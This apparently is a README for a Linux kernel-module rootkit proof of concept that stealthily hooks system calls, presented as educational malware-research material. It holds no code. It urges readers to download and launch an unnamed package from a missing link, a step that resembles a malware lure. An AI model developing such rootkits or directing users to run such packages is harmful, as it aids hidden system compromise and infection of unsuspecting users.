Welcome to the "linux-rootkit" repository, a simple Proof of Concept (POC) of a Linux kernel module that poses as a rootkit to stealthily hook its system calls.
This repository contains a demonstration of a Linux kernel module designed to act as a rootkit, employing techniques to intercept and modify system calls for potentially malicious purposes. The code serves as an educational resource for understanding rootkit development and kernel module manipulation.
🔒 Stealthy Hooking of System Calls
👾 Rootkit Behavior Mimicry
🖥️ Kernel Module Implementation
To try out this Linux rootkit project, you can download the software package from the following link:
Once downloaded, the software package needs to be launched to explore the functionalities of the rootkit module.
- amd64
- kernel-module
- linux
- linux-kernel
- malware
- malware-analysis
- malware-development
- malware-research
- rootkit
- x86-64
In the context of this repository, users can study the source code of the Linux rootkit module to grasp the mechanisms utilized for system call interception and manipulation. It is crucial to comprehend how rootkits operate to develop effective defense mechanisms against malicious software.
Contributions to the "linux-rootkit" repository are welcome. Feel free to submit pull requests or raise issues to enhance the project further. Collaboration is key to strengthening cybersecurity practices and understanding advanced threat vectors.
For additional information on rootkits, Linux kernel development, and malware analysis, consider exploring the following resources:
The "linux-rootkit" repository provides a hands-on exploration of rootkit development within the Linux kernel environment. By dissecting the code and understanding the techniques employed, users can deepen their knowledge of cybersecurity threats and defenses.
🔒 Stay vigilant against potential rootkit attacks! Happy coding! 🛡️
Check out the Releases section for the latest updates and versions of the project. Thank you for your interest in the "linux-rootkit" repository! 🚀